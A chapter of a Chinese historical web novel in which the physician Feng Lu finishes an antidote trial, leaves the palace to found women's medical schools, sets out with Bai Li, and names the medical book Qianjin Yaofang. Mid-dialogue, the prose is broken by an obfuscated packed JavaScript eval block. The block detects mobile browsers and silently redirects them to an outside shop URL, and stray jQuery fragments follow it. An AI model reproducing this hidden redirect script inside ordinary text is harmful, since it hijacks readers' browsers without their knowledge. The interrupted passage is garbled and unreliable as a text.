七日后，冯麓完全解了毒，李麒也终于放下心来。


    虽然冯麓已经用自己的身体进行了最后的三期验方，但正规流程还是不能少，所以她召来几个选人与她正式完成了三期的数据整理和分析。


    冯麓花了一个月的时间，将三次验方的分析结果整合为一本书，呈给了李麒。


    “臣妹呈上《血纹症新方试验录》，还请陛下过目。”


    李麒命高公公拿给他，他轻轻翻开，里面满满当当的全是冯麓这一年来的心血，他一想到冯麓因为这场验方受了伤吃了苦就心疼得不行，翻了几页就没再看了。


    “恭喜陛下喜得解药新方，明日便可服药了。”冯麓行礼道。


    “朕说过，你要是成功解咒，朕可以让你拥有后半辈子的荣华富贵。现在验方已经结束，你想要什么都可以。”


    “我想要一万两银子。”“好。”


    “我想要大唐境内的一百座院落。”“好。”


    冯麓平静地直视着李麒，“我还想要离开长安。”


    李麒沉默不语，唯独没有回应这个请求。冯麓挑挑眉，反问：“陛下不是说臣妹想要什么都可以吗？”


    李麒思虑半晌厚缓缓说道：“萦儿，外面太危险了。”


    “陛下，若是怕弱者遇到危险，或许完善唐律和打击犯罪比把弱者关在宫城里更有效。”冯麓抬头注视着坐在高位的李麒，“若是臣妹遇到了危险，别人也有可能遇到同样的危险，反之亦然。这不仅是陛下一个人的大唐，也不仅仅是李氏的大唐，这是万千子民共同的家园，每个人的生命都很宝贵，都值得被保护、被拯救。”


    “皇兄，这便是臣妹制作解药的意义。”冯麓改了一直以来的称呼继续说道：“救他人，即是救自己。”


    李麒认认真真听完了冯麓的话，摇摇头轻笑一声，然后说道：“你总是有这么多理由。”


    他不得不承认，冯麓自始至终都是一个很有思想的女子，虽然与童年时的模样大相径庭，但他也很喜欢现在成熟稳重的妹妹。


    若她成为了大唐的一介政客或一代帝王，一定也会游刃有余吧，说不定会比我做得更好，李麒暗暗想道。


    “你离开了长安后想去哪里？”


    冯麓毫不犹疑地回答：“四处游历，在每个地方都建立一座女医学堂。”


    “女医学堂？从未听闻过。”


    “当然，我就喜欢做没人做过的事儿。”


    冯麓弯起嘴角露出自信的角度，微微仰着头说：“这世间男女皆会患病，但女医却少到几乎没有，这对于女患者而言是很不方便的。有一些病症需要褪下衣物裸露皮肤来诊治，很多人甚至会因为避免名节受损而选择不治病，最后被病痛折磨至死。


    我要做的，就是建立学堂培养出许多优秀的女医师，在我之后她们也会接着把医术传给更多的女子。如此一来女医便会如雨后春笋般涌现，直至遍布天下，让世间所有女子都可以放心地接受治疗。”


    李麒看着这个谈到医术而双眼放光的冯麓，笑着提醒道：“这条路会很苦，你做好准备了吗？”


    冯麓坚定地说：“我一个人吃苦就可以让很多人不受苦，很值。”


    虽然李麒还是不太愿意就这么放她离开，但他也没有别的话来阻止冯麓的计划了。就凭借冯麓的性子，他即使真的将她关在宫里，她也会像以前那样想方设法逃出去。


    冯麓将服药的注意事项列在纸上交给了袁太医和凌嬗后，带着芮雪离开了大明宫，一天都没有停留。


    她最后没有拿一万两银子，也没有拿地契，只拿走了那枚象征着那枚李麒专门为她定制的天金鱼符，这才是不管走到哪都有用的神器。


    尽管芮雪一直缠着冯麓想跟着她一起走，但冯麓还是没有同意。在一个普通的清晨，冯麓在桌上留下一串钥匙和一封信后便离开了客栈。芮雪做不了的决定，她来做。


    不知真相的芮雪来到冯麓的屋子叫她吃早饭，可回应她的只有安静的空气。


    她拾起那张写满了字的书信。冯麓的字如其人，像一株瘦长秀气的泽兰，一看就知道是出自她的手笔。


    “小雪，很抱歉以这种方式与你告别，若不用这个方法，我们这辈子都没办法彻底分开了。


    我想让你离开我，不是因为我不喜欢你，而是我认为你的才华不应该被我所掩盖。你在岐州和同州调查的事情我已听说，做得很好，想是已经把我说的融会贯通了。


    你的医术其实已经比你自己认为的更强，只是你一直没有意识到。保持谦逊很重要，但同时也要保持自信，若换做你是病患，应该也不会希望看到一个比她更不安的医师。


    三年，我希望三年后再次回到长安时，你已经是一位赫赫有名的女医了。如果可以的话，多多培养新的女医吧，就从认识草药开始。说不定，她以后也会在你最绝望的时候拯救你呢。


    ‘瑞雪兆丰年’。小雪，你就像一场恰如其分的‘瑞雪’，是一个可以给人带来幸运和幸福的孩子。我很高兴能够遇见你。


    希望你也这么认为。”


    芮雪擦掉自己的眼泪，将那封信珍藏在自己的胸前。她低声立下自己与冯麓的誓言：“说好了是三年，姐姐，我会在三年后给你一个满意的答复。


    你一定要回来找我。”


    太阳才刚刚升起，路边的早市就已经开始热闹起来。冯麓背着包袱缓缓停在了包子摊子面前，不过她刚要掏钱出来就被老板拒收了。


    “不够吗？”


    “不不不，我认得您，您是做出解咒药的那位大人……啊抱歉，现在应该说是公主殿下了。您是大唐的贵人，是救世主，贱民不能收您的钱。”


    冯麓愣住了一会儿，然后啃了一口包子，口齿不清地感慨：“那就多谢啦，包子很好吃！”


    “真真真的吗！谢公主夸赞！”老板不断鞠躬，青丝顺着她的动作滑落下来，荡漾出雀跃激动的弧度。


    周围听到这些对话的路人纷纷挤上来，嘴里高喊着也要尝一尝救世主夸赞过的包子，把老板乐的眼角的纹路都多了几条。


    虽然老板不收冯麓的钱，但包子摊毕竟是小本生意，所以她还是悄悄把铜钱和剩下的一个肉包子交给一个小乞丐，让她帮忙把钱还给老板。


    太阳逐渐升得越来越高，冯麓也走到了长安城门口，她停下脚步，头都没回地向身后的人问道：


    “喂，你还要跟着我多久？”


    “你背后长眼睛了？”


    冯麓转过身子，无奈地叹息道：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861046|186174||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我背后没长眼睛，但你跟踪人的手段着实不怎么样，我买包子的时候看到你了。”


    “少自恋了，谁说我是跟踪你，我也要出城。”白理拽着自己的行囊，朝冯麓的方向走去。


    “你要回蒲城？”


    “不回去了，仁医堂已经交给我的徒弟，我现在要去大唐的各个地方创立免费医馆，病患不需要给我药钱，只需要付出一点体力劳动即可。”


    冯麓挑眉说道：“很不错的想法。我也正准备去游历行医，建立女医学堂。”


    白理点点头，肯定道：“女医学堂？挺好的，也确实是你的行事风格。”


    一步又一步，白理与冯麓之间的距离不断被缩减，彼此的声音也越来越清晰有力。


    “你打算先去哪里？如果顺路的话，我们可以同行。”冯麓微笑试探道。


    “冯医师想先去哪儿？”


    “先去商州吧，再一路南下，听说江南风景很好。白堂主可与我顺路？”


    此时，一阵风起，两人身上的草药味在黄土之上的空气里互相缠绕着。


    白理走到冯麓身侧，垂着头，眼里尽是笑意地说：“天南海北，我都顺路。”


    一年后。


    孙药王顺利出关，冯麓算好了时间带着白理回了蓝田县。孙药王对白理的针法和灸法评价颇高，说自己要是再年轻几岁，绝对会将他收入门下。


    白理一边捶腿一边谄媚道：“先生，您分明比院子里的豆尖儿还嫩呢，冯麓也没比我早几年，收一个与收两个没什么区别嘛，要不您咬咬牙把我也给收了？”


    “什么叫‘咬咬牙’？先生不想收就是不收，你拍马屁也没用。我之前可是陛下钦点的验方使，都没见过你给我拍过一次马屁。”


    白理听这话酸溜溜的，憋着笑道：“你区区一个凡人怎能和先生这样的神仙相比。”


    “你……”


    孙药王很久没见过小辈如此吵吵闹闹了，觉得颇为有趣，于是笑着说：“好了别争啦。老夫三年前本来已经不打算收徒了，看看在冯小儿天赋极高又实在有缘所以才收了她在身边。既然白小儿与我家冯小儿关系如此亲近，又如此默契，那就一同帮老夫个忙如何？”


    白理见状立刻整理衣袍，与冯麓一起行礼应下：“先生请说。”


    “这是老夫在闭关时整理的古法手札，尚未成书，还得请你们帮忙编录整理。”孙药王掏出一沓厚厚的册子，“听闻你们二人在验方中有不少新发现，这些也都可以归纳进去，帮助后人解决困难。”


    冯麓小心翼翼地接过那些珍贵的手札，只是随便一翻就是非常经典的药方。


    她脑海中突然有了一个非常清晰的声音，于是她开口问孙药王：“先生，您给这部医书取的什么名字？”


    “还未确定，冯小徒可有好名字？”


    “徒儿第一次见到先生时，先生对徒儿说的就是‘人命至重，有贵千金，一方济之，德逾于此。’这句话给徒儿带来了莫大的震撼，也是徒儿行医多年的宗旨所在。”冯麓眨了眨眼，“所以，把这部医书称为《千金要方》，先生以为如何？”


    只见孙药王眼睛半眯着，用手捻着自己的纯白的胡须，缓缓点头赞赏道：“好名字。


    就叫这个吧。”